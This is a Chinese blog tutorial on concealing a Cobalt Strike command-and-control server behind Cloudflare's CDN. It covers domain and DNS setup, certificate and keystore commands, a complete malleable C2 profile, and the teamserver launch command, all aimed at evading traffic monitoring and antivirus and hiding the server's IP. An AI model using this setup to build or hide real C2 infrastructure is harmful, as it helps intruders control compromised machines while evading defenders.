首页 > 其他分享 >c2隐藏&流量加密

c2隐藏&流量加密

时间:2024-05-21 11:32:32浏览次数:35  
标签:set 加密 server 域名 https c2 com 隐藏

c2隐藏&流量加密

参考链接

参考文章:
https://webxxe.cn/index.php/archives/238/
c2profile随机生成脚本:
https://github.com/threatexpress/random_c2_profile
https://github.com/RedSiege/C2concealer
C2concealer使用:https://www.freebuf.com/articles/network/330713.html
检查profile文件和注意事项:https://webxxe.cn/index.php/archives/209/
国外购买域名(免备案):https://porkbun.com/checkout/search
国外免费域名(免备案):但是我感觉不好用,没什么域名https://www.freenom.com/zh/index.html?lang=zh

前言

域前置技术主要通过CDN节点将流量转发给真实的C2服务器,CDN节点ip可通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,那么就可以有效躲避针对DLP、agent等流量监测并且隐藏ip
虽然Cobalt Strike流量自带SSL证书, 不过大多数情况下都会被杀软查杀, 因此需要自行配置证书来进行加密

过程

域前置配置

  • 1、先购买一个域名

  • 2、打开cloudflare 添加站点-填写刚刚获得的域名

https://dash.cloudflare.com/
(1)选择免费-确认
image.png
image.png
(2)dns-Records-添加两条记image.png
注意:
这里折磨了好久,这里的name是不能随便填的,一个填www,一个填域名,不然后面ping不通

  • 3、回到域名购买的网站,来到域名管理页面找到NS

image.png
image.png
把上面两个域名填上去
image.png

  • 4.cloudflare左边选择SSL/TLS:改成灵活,因为在国内完全会很慢

image.png
(2)创建证书
image.png
image.png
(3)创建后记下证书和私钥
image.png
(4)左边配置-发展模式勾上
image.png
(5)** **左边规则 - 添加两个规则 - 选择缓存级别 - 选择绕过 - 保存
image.png
image.png

  • 5.最后可以ping一下域名看看

最开始是ping都解析不到ip,但是后面发现是dns的name没填好(上面有说)
image.png
后面能解析到ip了但是一直请求超时,访问了我的域名,cloudfflare报错522,谷歌搜了一下,可能是cloudflare请求不了我的服务器,就想起了可能端口没开策略给ping
image.png
打开后果然可以了
image.pngimage.png

自行配置证书流量加密

  • 6.到kali里面生成证书文件

打开kali,创建server.pem文件,粘贴证书
image.png
创建 server.key, 粘贴刚刚保存的私钥
image.png
生成 c2 证书
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:yftk123
创建一个 store
keytool -importkeystore -deststorepass yftk123 -destkeypass yftk123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass yftk123 -alias cloudflare_cert
可以修改密码,但要两条命令保持一致
image.png

  • 7、创建 c2 配置文件 cdn.profile
https-certificate {
set keystore "cfcert.store";
set password "yftk123";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "xxx.com";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "xxx.com";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "xxx.com";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}

主要修改下图这些
image.png

  • 8、cs设置

这两个文件复制到服务器,然后给权限
image.png
启动cs
./teamserver ip pass cdn.profile
image.png
注意一下这个
Cloudflare支持的HTTP端口是: 80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是: 443,2053,2083,2087,2096,8443
新建监听器
image.png

  • 9、上线成功,ip是cdn服务器且流量已加密

image.png
image.png

标签:set,加密,server,域名,https,c2,com,隐藏
From: https://www.cnblogs.com/xiaoxin07/p/18203577

相关文章

  • HLS视频加密,让您的视频内容更安全!
    **背景介绍**HLS视频加密是一种基于HTTPLiveStreaming(HLS)协议的加密技术。它的核心思想是将视频切片进行加密处理,在客户端播放时需要先获取解密密钥才能正常偶发。通过这种方式,HLS加密可以有效防止未经授权的第三方窃取视频内容,从而保障了视频内容的版权和安全。数据万象媒体......
  • fltk-rs 隐藏标题栏但显示任务栏图标
    usefltk::{prelude::*,*};usestd::os::raw::*;constGWL_EXSTYLE:i32=-20;constWS_EX_APPWINDOW:c_ulong=0x00040000;extern"system"{pubfnGetWindowLongA(wnd:*mutc_void,idx:c_int)->c_ulong;pubfnSetWindowLongA(wnd:*......
  • CC2530 zigebee 实现低功耗
    ​ZigBee网络低功耗运行一直是苦逼攻城狮们要解决的问题,TI的CC2530可以说已经把终端的休眠功耗降低到了极致,现在我们就来体验这颗芯片的魅力!文章末尾分享完整源码和PCB工程文件。一、CC2530供电模式CC2530芯片有五种运行模式,分别为主动模式、空闲模式、PM1、PM2和PM3。从参考手......
  • 3DES加密、解密工具类,有需要的直接cv大法拿去用吧
    package你的类路径;importcn.hutool.core.codec.Base64;importjavax.crypto.BadPaddingException;importjavax.crypto.Cipher;importjavax.crypto.IllegalBlockSizeException;importjavax.crypto.NoSuchPaddingException;importjavax.crypto.spec.SecretKeySpec;importjav......
  • python 国密sm2(C1C3C2) sm4(CBC) 加密 解密
    fromgmssl.sm4importCryptSM4,SM4_ENCRYPT,SM4_DECRYPTimportbinasciiimportbase64fromgmsslimportsm2,func#GMSSLforPython#安装pipinstallgmssl#keycode='101231221289195374403401962572899'key='1012312212891953'iv=......
  • 某东h5st4.7 加密参数(二)
    接着上一篇文章,由于最近比较忙,没有时间看。今天有时间看看上一篇没有说完的其他加密参数。仅供学习交流!1、fp的生成,搜索关键词fingerprint,即可查看到生成位置调试可以找到生成位置2、请求获取tkalgo中参数expandParams,如下图调试可以获取到参数expandParams从此可......
  • 正式开启全站HTTPS加密之旅
    Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解`正式开启全站HTTPS加密之旅日期:2017-7-14阿珏谈天说地浏览:2158次评论:0条经过有段时间的内测,博客正式开启全站https。建站到......
  • 如何自动(定时/间隔/重复)执行 同步文件、备份打包加密压缩文件
    首先,需要用到的这个工具:度娘网盘提取码:qwu2蓝奏云提取码:2r1z 参考下列两个之前发布的教程结合使用即可:《快捷自由定时重启、注销、关机》《如何从多个文件夹内转移全部文件(忽略文件夹的结构)(进行复制)(再打包)》就是先设定好勾选对'来源路径’Zip打包,并且勾选备份模式备份......
  • Windows 日志也可能会被篡改和删除。这可能是因为某些恶意软件试图隐藏其存在或活动,或
    Windows日志也可能会被篡改和删除。这可能是因为某些恶意软件试图隐藏其存在或活动,或者是因为攻击者试图擦除他们的痕迹。为了防止日志的篡改和删除,用户应该采取以下措施:限制对日志的访问权限,以确保只有受信任的用户才能访问和修改日志。定期备份日志,并在必要时将其保......
  • Vue3使用SM国产加密库
    npm安装npminstall--savesm-crypto//使用import{sm2,sm3,sm4}from'sm-crypto'//-----------sm2--------------------//获取密钥对letkeypair=sm2.generateKeyPairHex()publicKey=keypair.publicKey//公钥privateKey=keypair.privateKey//私钥//......